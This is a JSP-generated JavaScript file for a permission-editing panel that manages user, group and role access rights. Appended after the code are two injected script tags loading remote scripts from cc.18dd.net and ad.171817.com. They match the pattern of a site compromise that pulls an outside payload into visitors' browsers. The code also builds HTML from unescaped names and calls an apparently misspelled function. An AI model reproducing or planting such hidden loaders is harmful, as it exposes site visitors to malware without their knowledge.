<%@ page contentType="application/x-javascript;charset=UTF-8" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout"%>
var userHasNoPerm = new Array();
var groupHasNoPerm = new Array();
var roleHasNoPerm = new Array();
var otherHasNoPerm = new Array();
var allPermissionAry = new Array();
var activeRow = null;
var permForm = null;
var defaultValue = "RW";
function initVariable(inForm) {
  permForm = inForm;
  var arrayOfStr;

  // Initialize Users with No Permission.
  arrayOfStr = permForm.userNoPermissionData.value.split("\n");

  //get the defalue permission
  //if(typeof inForm.permissionType != 'undefined'){
  //  if(inForm.permissionType.value != "" ){
  //    defaultValue = inForm.permissionType.value.substring(0,1);
  //  }
 // }

  for (var i = 0; i < arrayOfStr.length; i++) {
    if (arrayOfStr[i].length > 0) {
      if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
        arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
      }
      var tmpAry = arrayOfStr[i].split("\t");
      tmpAry[3] = defaultValue;
      userHasNoPerm[userHasNoPerm.length] = tmpAry;
    }
  }

  // Initialize Groups with No Permission.
  arrayOfStr = permForm.groupNoPermissionData.value.split("\n");

  for (var i = 0; i < arrayOfStr.length; i++) {
    if (arrayOfStr[i].length > 0) {
      if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
        arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
      }
      var tmpAry = arrayOfStr[i].split("\t");
      tmpAry[3] = defaultValue;
      groupHasNoPerm[groupHasNoPerm.length] = tmpAry;
    }
  }

  // Initialize Roles with No Permission.
  arrayOfStr = permForm.roleNoPermissionData.value.split("\n");

  for (var i = 0; i < arrayOfStr.length; i++) {
    if (arrayOfStr[i].length > 0) {
      if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
        arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
      }
      var tmpAry = arrayOfStr[i].split("\t");
      tmpAry[3] = defaultValue;
      roleHasNoPerm[roleHasNoPerm.length] = tmpAry;
    }
  }

  // Initialize Others with No Permission.
  if(typeof permForm.otherNoPermissionData != 'undefined'){
    arrayOfStr = permForm.otherNoPermissionData.value.split("\n");
    //alert(arrayOfStr.length);
    for (var i = 0; i < arrayOfStr.length; i++) {
      if (arrayOfStr[i].length > 0) {
        if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
          arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
        }
        var tmpAry = arrayOfStr[i].split("\t");
        tmpAry[3] = defaultValue;
        otherHasNoPerm[otherHasNoPerm.length] = tmpAry;
      }
    }
  }

  // Initialize All Users, Groups, Roles with Permission.
  arrayOfStr = permForm.allPermissionData.value.split("\n");

  for (var i = 0; i < arrayOfStr.length; i++) {
    if (arrayOfStr[i].length > 0) {
      if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
        arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
      }
      var tmpAry = arrayOfStr[i].split("\t");
      allPermissionAry[allPermissionAry.length] = tmpAry;
    }
  }

  resetPanel();
}

function resetPanel() {
  drawPanel("permissionDiv");
  changeSubjectMenu(permForm);
}

function updatePermission() {
  if (activeRow == null) {
    return(false);
  }

  //check start and end date
  if(typeof permForm.startDate !='undefined' && typeof permForm.endDate !='undefined'){
    var startDate = permForm.startDate;
    var endDate = permForm.endDate;
    if ( (startDate.value==''&&endDate.value!='') || (startDate.value!=''&&endDate.value=='') ) {
      alert("<bean:message key='setup.message.access_time_incomplete'/>");
      return (false);
    } else if (startDate.value!=''&&endDate.value!='') {
      if (compareDate(startDate, endDate, false) > 0) {
        alert("<bean:message key='common.message.from_later_than_to'/>");
        return (false);
      }
    }
  }

  var tmpID = parseInt(activeRow.id.substring(2, activeRow.id.length), 10);
  var allPerm = permForm.permissionType.value;
  var permStr = "";

  for (var i=0; i<allPerm.length; i++) {
    var elm = eval("permForm.permission_" + allPerm.charAt(i));
    if (elm.checked) {
      permStr += allPerm.charAt(i);
    } else {
      elm = eval("permForm.permission_" + allPerm.charAt(i).toLowerCase());
      if (elm.checked) {
        permStr += allPerm.charAt(i).toLowerCase();
      }
    }
  }

  allPermissionAry[tmpID][3] = permStr;
  allPermissionAry[tmpID][4] = (typeof permForm.startDate!='undefined')?permForm.startDate.value:"";
  allPermissionAry[tmpID][5] = (typeof permForm.endDate!='undefined')?permForm.endDate.value:"";
  allPermissionAry[tmpID][6] = (typeof permForm.mustFlag!='undefined' && permForm.mustFlag.checked) ? "Y" : "N";

  drawPanel("permissionDiv");
  var tmpObj = FindObj(activeRow.id);
  activeRow = null;
  updatePermissionPanel(tmpObj, "down", allPermissionAry[tmpID][3], allPermissionAry[tmpID][4], allPermissionAry[tmpID][5], allPermissionAry[tmpID][6], allPermissionAry[tmpID][7]);

  return(false);
}

function updatePermissionPanel(trObj, mode, perm, startDate, endDate, mustFlag, flag) {
  var overColor = "#B5D2EA";
  var downColor = "#FFCC99";
  var outColor = "#FFFFFF";
  var domDetect = false;

  if (typeof(window.opera) == 'undefined' && typeof(trObj.getAttribute) != 'undefined') {
    domDetect = true;
  }

  if (mode == "over") {
    if (domDetect) {
      trObj.setAttribute('bgcolor', overColor, 0);
    } else {
      trObj.style.backgroundColor = overColor;
    }
  } else if (mode == "out") {
    var tmpColor = outColor;
    if (trObj == activeRow) {
      tmpColor = downColor;
    }

    if (domDetect) {
      trObj.setAttribute('bgcolor', tmpColor, 0);
    } else {
      trObj.style.backgroundColor = tmpColor;
    }
  } else if (mode == "down") {
    if (activeRow != null) {
      if (domDetect) {
        activeRow.setAttribute('bgcolor', outColor, 0);
      } else {
        activeRow.style.backgroundColor = outColor;
      }
    }

    activeRow = trObj;

    if (domDetect) {
      trObj.setAttribute('bgcolor', downColor, 0);
    } else {
      trObj.style.backgroundColor = downColor;
    }

    // Change the permission checkboxes.
    clearPermissionPanel();

    for (var i=0; i<perm.length; i++) {
      var elm = eval("permForm.permission_" + perm.charAt(i));
      if (elm) {
        elm.checked = true;
      }
    }

    if(permForm.mustFlag){
      permForm.mustFlag.checked = ("Y" == mustFlag);
    }

    // Change the time limit.
//    g_Calendar.setDatePicker(startDate, permForm, "startDate");
//    g_Calendar.setDatePicker(endDate, permForm, "endDate");
  }
}

function clearPermissionPanel() {
  var allPerm = permForm.permissionType.value;
  for (var i=0; i<allPerm.length; i++) {
    var elm = eval("permForm.permission_" + allPerm.charAt(i));
    if (elm) {
      elm.checked = false;
    }
    elm = eval("permForm.permission_" + allPerm.charAt(i).toLowerCase());
    if (elm) {
      elm.checked = false;
    }
  }
  if(permForm.mustFlag){
    permForm.mustFlag.checked = false;
  }
/*
  permForm.dummy_startDate.value = "";
  if (permForm.hour_startDate.type == "text") {
    permForm.hour_startDate.value = "";
    permForm.min_startDate.value = "";
  } else {
    permForm.hour_startDate.selectedIndex = -1;
    permForm.min_startDate.selectedIndex = -1;
  }
  permForm.startDate.value = "";

  permForm.dummy_endDate.value = "";
  if (permForm.hour_startDate.type == "text") {
    permForm.hour_endDate.value = "";
    permForm.min_endDate.value = "";
  } else {
    permForm.hour_endDate.selectedIndex = -1;
    permForm.min_endDate.selectedIndex = -1;
  }
  permForm.endDate.value = "";
*/
}

function drawPanel(lyrName) {
  var ctn = "";

  ctn += "<table width='100%' cellpadding='1' cellspacing='0' border='0'>";
  for (var i=0; i<allPermissionAry.length; i++) {
    var permStr = allPermissionAry[i][3];
    var startDate = allPermissionAry[i][4];
    var endDate = allPermissionAry[i][5];
    var mustFlag = allPermissionAry[i][6];
    var flag = allPermissionAry[i][7];
    ctn += "<tr id='tr" + i + "' onmouseover=\"updatePermissionPanel(this, \'over\', \'" + permStr + "\', \'" + startDate + "\', \'" + endDate + "\');\" onmouseout=\"updatePermissionPanel(this, \'out\', \'" + permStr + "\', \'" + startDate + "\', \'" + endDate + "\');\" onmousedown=\"updatePermissionPanel(this, \'down\', \'" + permStr + "\', \'" + startDate + "\', \'" + endDate + "\', \'" + mustFlag + "\', \'" + flag + "\');\">";
    ctn += "<td width='18'><a href='#' onclick='return(false)' style='text-decoration:none'><img src='";
    if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_USER%>") {
      ctn += "<html:img src='IconUser.gif' pathOnly='true' />";
    } else if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_GROUP%>") {
      ctn += "<html:img src='IconGroup.gif' pathOnly='true' />";
    } else if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_ROLE%>") {
      ctn += "<html:img src='IconRole.gif' pathOnly='true' />";
    } else {
      ctn += "<html:img src='IconUser.gif' pathOnly='true' />";
    }
    ctn += "' align='absmiddle' border='0'/></a></td>";
    ctn += "<td><nobr><a href='#' ondblclick='return delSubject()' style='text-decoration:none'>" + allPermissionAry[i][1] + "&nbsp; <b>";
    if ("Y" == mustFlag) {
      ctn += "<font color='#0000CC'>[<bean:message key='common.label.required_or_not'/>]</font>&nbsp;";
    }
    ctn += formPermissionString(permStr, startDate, endDate) + "</b></a></nobr></td>";
    ctn += "</tr>";
  }
  ctn += "</table>";

  ChangeDivContent(lyrName, ctn);
}

function formPermissionString(permStr, startDate, endDate) {
  var tmpPermStr = "";

  if(typeof permLabel == 'undefined') return tmpPermStr;

  for (var j=0; j<permStr.length; j++) {
    if (permStr.charAt(j).toUpperCase()==permStr.charAt(j)) {
      tmpPermStr += permLabel[permStr.charAt(j)] + "/";
    } else {
      tmpPermStr += "<strike style='color:#FF0000'>" + permLabel[permStr.charAt(j).toUpperCase()] + "</strike>/";
    }
  }
  if (tmpPermStr.length>0) {
    tmpPermStr = tmpPermStr.substring(0, tmpPermStr.length-1);
    tmpPermStr = "[" + tmpPermStr + "]";
  }

  return(tmpPermStr);
}

function addSubject() {
  var subType = permForm.subjectType.options[permForm.subjectType.selectedIndex].value;
  for (var i = 0; i < permForm.subjectList.options.length; i++) {
    if (permForm.subjectList.options[i].selected) {
      if (subType == "<%=GlobalConstant.SUBJECT_TYPE_USER%>") {
        allPermissionAry[allPermissionAry.length] = new Array(permForm.subjectList.options[i].value, permForm.subjectList.options[i].text, subType, userHasNoPerm[i][3], userHasNoPerm[i][4], userHasNoPerm[i][5], userHasNoPerm[i][6], userHasNoPerm[i][7]);
        RemoveArrayElement(userHasNoPerm, i);
      } else if (subType == "<%=GlobalConstant.SUBJECT_TYPE_GROUP%>") {
        allPermissionAry[allPermissionAry.length] = new Array(permForm.subjectList.options[i].value, permForm.subjectList.options[i].text, subType, groupHasNoPerm[i][3], groupHasNoPerm[i][4], groupHasNoPerm[i][5], groupHasNoPerm[i][6], groupHasNoPerm[i][7]);
        RemoveArrayElement(groupHasNoPerm, i);
      } else if (subType == "<%=GlobalConstant.SUBJECT_TYPE_ROLE%>") {
        allPermissionAry[allPermissionAry.length] = new Array(permForm.subjectList.options[i].value, permForm.subjectList.options[i].text, subType, roleHasNoPerm[i][3], roleHasNoPerm[i][4], roleHasNoPerm[i][5], roleHasNoPerm[i][6], roleHasNoPerm[i][7]);
        RemoveArrayElement(roleHasNoPerm, i);
      } else {
        allPermissionAry[allPermissionAry.length] = new Array(permForm.subjectList.options[i].value, permForm.subjectList.options[i].text, subType, otherHasNoPerm[i][3], otherHasNoPerm[i][4], otherHasNoPerm[i][5], otherHasNoPerm[i][6], otherHasNoPerm[i][7]);
        RemoveArrayElement(otherHasNoPerm, i);
      }

      permForm.subjectList.options[i] = null;

      i--;
    }
  }
  drawPanel("permissionDiv");
  if (allPermissionAry.length>0) {
    updatePermissionPanel(FindObj("tr" + (allPermissionAry.length - 1)), "down", allPermissionAry[allPermissionAry.length-1][3], allPermissionAry[allPermissionAry.length-1][4], allPermissionAry[allPermissionAry.length-1][5], allPermissionAry[allPermissionAry.length-1][6], allPermissionAry[allPermissionAry.length-1][7]);
  }
  updatePermission();
  return(false);
}

function addWFSubject() {
  var subType = permForm.subjectType.options[permForm.subjectType.selectedIndex].value;
  for (var i = 0; i < permForm.subjectList.options.length; i++) {
    if (permForm.subjectList.options[i].selected) {
      if (subType == "<%=GlobalConstant.SUBJECT_TYPE_USER%>") {
        allPermissionAry[allPermissionAry.length] = new Array(permForm.subjectList.options[i].value, permForm.subjectList.options[i].text, subType, userHasNoPerm[i][3], userHasNoPerm[i][4], userHasNoPerm[i][5], userHasNoPerm[i][6], userHasNoPerm[i][7]);
        ArrayElement(userHasNoPerm, i);
      } else if (subType == "<%=GlobalConstant.SUBJECT_TYPE_GROUP%>") {
        allPermissionAry[allPermissionAry.length] = new Array(permForm.subjectList.options[i].value, permForm.subjectList.options[i].text, subType, groupHasNoPerm[i][3], groupHasNoPerm[i][4], groupHasNoPerm[i][5], groupHasNoPerm[i][6], groupHasNoPerm[i][7]);
        RemoveArrayElement(groupHasNoPerm, i);
      } else if (subType == "<%=GlobalConstant.SUBJECT_TYPE_ROLE%>") {
        allPermissionAry[allPermissionAry.length] = new Array(permForm.subjectList.options[i].value, permForm.subjectList.options[i].text, subType, roleHasNoPerm[i][3], roleHasNoPerm[i][4], roleHasNoPerm[i][5], roleHasNoPerm[i][6], roleHasNoPerm[i][7]);
        RemoveArrayElement(roleHasNoPerm, i);
      } else {
        allPermissionAry[allPermissionAry.length] = new Array(permForm.subjectList.options[i].value, permForm.subjectList.options[i].text, subType, otherHasNoPerm[i][3], otherHasNoPerm[i][4], otherHasNoPerm[i][5], otherHasNoPerm[i][6], otherHasNoPerm[i][7]);
        RemoveArrayElement(otherHasNoPerm, i);
      }

      permForm.subjectList.options[i] = null;

      i--;
    }
  }

  drawPanel("permissionDiv");

  if (allPermissionAry.length>0) {
    updatePermissionPanel(FindObj("tr" + (allPermissionAry.length - 1)), "down", allPermissionAry[allPermissionAry.length-1][3], allPermissionAry[allPermissionAry.length-1][4], allPermissionAry[allPermissionAry.length-1][5], allPermissionAry[allPermissionAry.length-1][6], allPermissionAry[allPermissionAry.length-1][7]);
  }
  updatePermission();
  return(false);
}

function delSubject() {
  if (activeRow==null) {
    return(false);
  }

  var tmpID = parseInt(activeRow.id.substring(2, activeRow.id.length), 10);
  var tmpRow = allPermissionAry[tmpID];

  if (tmpRow[2] == "<%=GlobalConstant.SUBJECT_TYPE_USER%>") {
    userHasNoPerm[userHasNoPerm.length] = tmpRow;
  } else if (tmpRow[2] == "<%=GlobalConstant.SUBJECT_TYPE_GROUP%>") {
    groupHasNoPerm[groupHasNoPerm.length] = tmpRow;
  } else if (tmpRow[2] == "<%=GlobalConstant.SUBJECT_TYPE_ROLE%>") {
    roleHasNoPerm[roleHasNoPerm.length] = tmpRow;
  } else {
    otherHasNoPerm[otherHasNoPerm.length] = tmpRow;
  }

  RemoveArrayElement(allPermissionAry, tmpID);
  activeRow = null;

  clearPermissionPanel();
  resetPanel();

  if (FindObj("tr" + tmpID)) {
    updatePermissionPanel(FindObj("tr" + tmpID), "down", allPermissionAry[tmpID][3], allPermissionAry[tmpID][4], allPermissionAry[tmpID][5], allPermissionAry[tmpID][6], allPermissionAry[tmpID][7]);
  } else if (FindObj("tr" + (tmpID - 1))) {
    updatePermissionPanel(FindObj("tr" + (tmpID - 1)), "down", allPermissionAry[tmpID - 1][3], allPermissionAry[tmpID - 1][4], allPermissionAry[tmpID - 1][5], allPermissionAry[tmpID - 1][6], allPermissionAry[tmpID - 1][7]);
  }

  updatePermission();
  return(false);
}

function changeSubjectMenu(permForm) {
  var elm = permForm.subjectType;
  if (elm) {
    var changeElm = permForm.subjectList;
    var tmpAry;
    if (elm.options[elm.selectedIndex].value == "<%=GlobalConstant.SUBJECT_TYPE_USER%>") {
      tmpAry = userHasNoPerm;
    } else if (elm.options[elm.selectedIndex].value == "<%=GlobalConstant.SUBJECT_TYPE_GROUP%>") {
      tmpAry = groupHasNoPerm;
    } else if (elm.options[elm.selectedIndex].value == "<%=GlobalConstant.SUBJECT_TYPE_ROLE%>") {
      tmpAry = roleHasNoPerm;
    } else {
      tmpAry = otherHasNoPerm;
    }

    RemoveAllOptions(changeElm);
    for (var i=0; i<tmpAry.length; i++) {
      AddOption(changeElm, tmpAry[i][1], tmpAry[i][0], false);
    }
  }
}

function checkPermission(elm) {
  if (activeRow == null) {
    return(false);
  }

  if (elm.name.charAt(elm.name.length - 1) == 'R' && !elm.checked) {
    return(false);
  }

  if (elm.name.toLowerCase() == elm.name) {
    // Check "deny" box.
    if (elm.checked) {
      var tmpStr = elm.name.substring(0, elm.name.length - 1);
      tmpStr += elm.name.charAt(elm.name.length - 1).toUpperCase();
      elm.form.elements[tmpStr].checked = false;
    }
  } else {
    // Check "allow" box.
    if (elm.checked) {
      var tmpStr = elm.name.toLowerCase();
      elm.form.elements[tmpStr].checked = false;
    }

    if (elm.form.permission_r) {
      elm.form.permission_r.checked = false;
      elm.form.permission_R.checked = true;
    }
  }

  if (elm.name.charAt(elm.name.length - 1) == 'r' && elm.checked) {
    var allPerm = permForm.permissionType.value;
    for (var i=0; i<allPerm.length; i++) {
      var elm = eval("permForm.permission_" + allPerm.charAt(i));
      if (elm) {
        elm.checked = false;
      }
      elm = eval("permForm.permission_" + allPerm.charAt(i).toLowerCase());
      if (elm) {
        elm.checked = true;
      }
    }
  }

  return(true);
}

function savePermission() {
  var result = "";
  for (var i = 0; i < allPermissionAry.length; i++) {
    for (var j = 0; j < allPermissionAry[i].length; j++) {
      if (j == allPermissionAry[i].length - 1) {
        result += allPermissionAry[i][j] + "\n";
      } else {
        result += allPermissionAry[i][j] + "\t";
      }
    }
  }
  permForm.allPermissionData.value = result;
}

function permissionOpSave() {
  savePermission();
  return(OpSave());
}

function permissionOpSaveAndNew() {
  savePermission();
  return(OpSaveAndNew());
}

function togglePermissionAllowAll() {
  if (activeRow == null) {
    return(false);
  }

  var isAllChecked = true;

  for (var i = 0; i < permForm.elements.length; i++) {
    if (permForm.elements[i].type == "checkbox" && permForm.elements[i].name.indexOf("permission_") == 0 && !permForm.elements[i].checked) {
      var permStr = permForm.elements[i].name.substring(11);
      if (permStr.toUpperCase() == permStr) {
        isAllChecked = false;
        break;
      }
    }
  }

  for (var i = 0; i < permForm.elements.length; i++) {
    if (permForm.elements[i].type == "checkbox" && permForm.elements[i].name.indexOf("permission_") == 0) {
      var permStr = permForm.elements[i].name.substring(11);
      if (permStr.toUpperCase() == permStr) {
        if (isAllChecked && permStr != defaultValue) {
          permForm.elements[i].checked = false;
        } else {
          permForm.elements[i].checked = true;
        }
      } else if (permStr.toLowerCase() == permStr) {
        permForm.elements[i].checked = false;
      }
    }
  }

  return(false);
}

function togglePermissionDenyAll() {
  if (activeRow == null) {
    return(false);
  }

  var isAllChecked = true;

  for (var i = 0; i < permForm.elements.length; i++) {
    if (permForm.elements[i].type == "checkbox" && permForm.elements[i].name.indexOf("permission_") == 0 && !permForm.elements[i].checked) {
      var permStr = permForm.elements[i].name.substring(11);
      if (permStr.toLowerCase() == permStr) {
        isAllChecked = false;
        break;
      }
    }
  }

  for (var i = 0; i < permForm.elements.length; i++) {
    if (permForm.elements[i].type == "checkbox" && permForm.elements[i].name.indexOf("permission_") == 0) {
      var permStr = permForm.elements[i].name.substring(11);
      if (permStr.toLowerCase() == permStr) {
        if (isAllChecked) {
          permForm.elements[i].checked = false;
        } else {
          permForm.elements[i].checked = true;
        }
      } else if (permStr.toUpperCase() == permStr) {
        if (isAllChecked && permStr == defaultValue) {
          permForm.elements[i].checked = true;
        } else {
          permForm.elements[i].checked = false;
        }
      }
    }
  }

  return(false);
}

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>